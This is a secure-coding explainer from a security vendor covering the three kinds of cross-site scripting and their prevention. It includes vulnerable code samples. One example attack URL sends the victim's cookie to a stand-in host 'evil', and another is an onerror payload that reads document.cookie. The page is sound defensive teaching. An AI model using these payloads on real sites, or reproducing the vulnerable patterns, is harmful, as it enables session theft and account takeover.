Cross-Site Scripting (XSS) is one of the most persistent injection flaws on the web: the attacker gets the victim's browser to execute JavaScript that should not be there. The result ranges from session theft to full account takeover. This page explains the three types of XSS, shows examples of vulnerable and secure code, and describes definitive prevention based on contextual output encoding, Content Security Policy and frameworks that escape by default.

What XSS is

XSS is a vulnerability in which attacker-controlled data is included in a page without proper handling, causing the browser to interpret that data as code (HTML or JavaScript) rather than text. The flaw belongs to the A03:2021 - Injection category of the OWASP Top 10 and is catalogued as CWE-79: Improper Neutralization of Input During Web Page Generation.

The root cause is always the same: the application confuses data with code. When user-supplied content crosses an interpretation boundary (from HTML into JavaScript, from JavaScript into the DOM, from the URL into an attribute) without being encoded for that specific context, the browser executes what was only meant to be displayed.

The critical point, and the source of nearly every prevention mistake, is that XSS is not solved at the input alone. The same string is harmless in one context and dangerous in another. The correct defense happens at the output, at the moment the data is written into a page, and it depends on the exact context in which it appears.

The three types of XSS

1. Reflected XSS

The payload travels in a request (typically a URL or form parameter) and is reflected back in the immediate response, without ever being stored. It is delivered via a malicious link, a phishing email or a forged form. Each victim has to be lured into triggering the request.

// VULNERABLE: parameter concatenated straight into HTML
app.get('/search', (req, res) => {
  const term = req.query.q;
  res.send('<h1>Results for: ' + term + '</h1>');
});
// Attack: /search?q=<script>document.location='https://evil/?c='+document.cookie</script>
// SECURE: output encoding for the HTML context
const escapeHtml = (s) => s.replace(/[&<>"']/g, c => ({
  '&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'
}[c]));
res.send('<h1>Results for: ' + escapeHtml(term) + '</h1>');

2. Stored / Persistent XSS

The payload is written to the server (database, comment, profile, a log shown in a dashboard) and served to everyone who views that page. It is the most severe type, because it requires no targeted interaction: the victim only has to open the tainted page. A single malicious comment can hit thousands of users, including administrators.

// VULNERABLE: comment rendered as raw HTML
const comments = await db.getComments();
const list = comments.map(c => '<li>' + c.text + '</li>').join('');
res.send('<ul>' + list + '</ul>');
// SECURE: encode on output (and validate/sanitize on input as reinforcement)
const list = comments.map(c => '<li>' + escapeHtml(c.text) + '</li>').join('');

3. DOM-based XSS

Here the injection happens entirely in the browser: a client-side script reads a controllable source (location.hash, location.search, document.referrer) and writes it into a dangerous sink (innerHTML, document.write, eval) without encoding. The server may never see the payload, which makes detection harder.

// VULNERABLE: DOM source written into a dangerous sink
const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// Attack: page#<img src=x onerror=alert(document.cookie)>
// SECURE: use an API that treats it as text, not HTML
document.getElementById('greeting').textContent = 'Hello, ' + name;

Types, where they occur and how to prevent them

TypeWhere the payload enters/livesWhere it executesPrimary prevention
ReflectedRequest parameter (URL/form), reflected in the responseServer assembles the HTMLContextual output encoding + CSP
StoredDatabase, comments, profiles, logsServer renders it for all readersOutput encoding + sanitization (DOMPurify) + input validation
DOM-basedClient sources (hash, search, referrer)JavaScript in the browser (innerHTML, eval)Safe APIs (textContent), avoid dangerous sinks, Trusted Types

Impact: why XSS is severe

When an attacker executes JavaScript in the application's origin context, they inherit the privileges of the user's session. The typical impacts:

  • Session and cookie theft: read document.cookie and exfiltrate the session token, allowing the attacker to impersonate the victim.
  • Account takeover: change the email, password or MFA using the victim's authenticated session, without needing the password.
  • Keylogging and form capture: intercept everything the victim types, including credentials and card data.
  • Defacement and in-page phishing: alter the page to deceive the victim or request credentials in a fake form inside the legitimate domain.
  • Pivot and propagation: in stored XSS, the script can replicate (worm) and escalate from an ordinary user to an administrator.

Definitive prevention

Contextual output encoding

This is the core defense, per the OWASP XSS Prevention Cheat Sheet. Each insertion context requires a different encoding scheme, and using the wrong one offers no protection:

  • HTML context (element body): encode & < > " ' as entities.
  • HTML attribute context: always use quotes and encode to entities; unquoted attributes are especially dangerous.
  • JavaScript context (inside <script> or handlers): Unicode encoding \uXXXX; never interpolate data directly into JS.
  • URL context (parameters, href): apply encodeURIComponent and validate the scheme (block javascript:).
  • CSS context: avoid dynamic data in styles; when unavoidable, restrict it to a strict allowlist.

Frameworks that escape by default

React, Angular and Vue encode output automatically when you use the normal flow (JSX, {{ }} interpolation). This eliminates most XSS. The risk lies in the deliberate escapes:

// React: dangerouslySetInnerHTML turns off the protection
<div dangerouslySetInnerHTML={{ __html: userHtml }} /> // DANGER

// Angular: bypassSecurityTrust* marks content as trusted
this.sanitizer.bypassSecurityTrustHtml(userHtml); // DANGER

Every time these mechanisms are needed, the content must first pass through a robust sanitizer.

Sanitization with DOMPurify

When the application needs to display rich HTML coming from the user (a text editor, rendered markdown), escaping is not enough — you must sanitize with a tested library such as DOMPurify, which removes scripts and event attributes while keeping the safe markup:

import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtml);
element.innerHTML = clean; // safe

Content Security Policy (CSP)

CSP is the second layer of defense: even if an XSS slips through, it can prevent the injected script from executing. A policy based on a nonce or a hash blocks unauthorized inline scripts, as described in the MDN documentation:

Content-Security-Policy: default-src 'self';
  script-src 'self' 'nonce-r4nd0m';
  object-src 'none'; base-uri 'none'

Avoid 'unsafe-inline' and 'unsafe-eval', which nullify the benefit. CSP is defense in depth, not a substitute for output encoding.

Trusted Types

For DOM-based XSS, the Trusted Types API (enabled via the CSP require-trusted-types-for 'script') forces dangerous sinks such as innerHTML to accept only objects produced by an approved policy, structurally eliminating the class of DOM XSS bugs in compatible browsers.

Cookies: HttpOnly and SameSite

Marking the session cookie as HttpOnly prevents JavaScript from reading the token via document.cookie, neutralizing the most common vector of session theft. SameSite and Secure round out the posture. They do not prevent XSS, but they drastically reduce its impact.

Testing and verification

Defense has to be proven. Combine:

  • DAST (dynamic testing) with XSS payloads against the application's entry points.
  • SAST and linters that flag innerHTML, dangerouslySetInnerHTML, eval and HTML concatenation.
  • Code review focused on each context boundary and on every deliberate framework escape.
  • Manual pentest for the cases automated tools miss, especially DOM XSS.

How Decripte helps

Decripte is a B2B cybersecurity company serving from 1 to more than 100,000 employees. Our AppSec and pentest practice identifies and fixes XSS in all its types, validates contextual output encoding, reviews CSP and Trusted Types policies, and integrates security testing into the development cycle, so that protection against injection is continuous rather than a one-off.

Want to start mapping your risk surface at no cost? Get started free through our Intelligence Center or explore Decripte's application security plans.

References

  • OWASP - Cross Site Scripting Prevention Cheat Sheet
  • OWASP Top 10 - A03:2021 Injection
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • MDN Web Docs - Content Security Policy (CSP)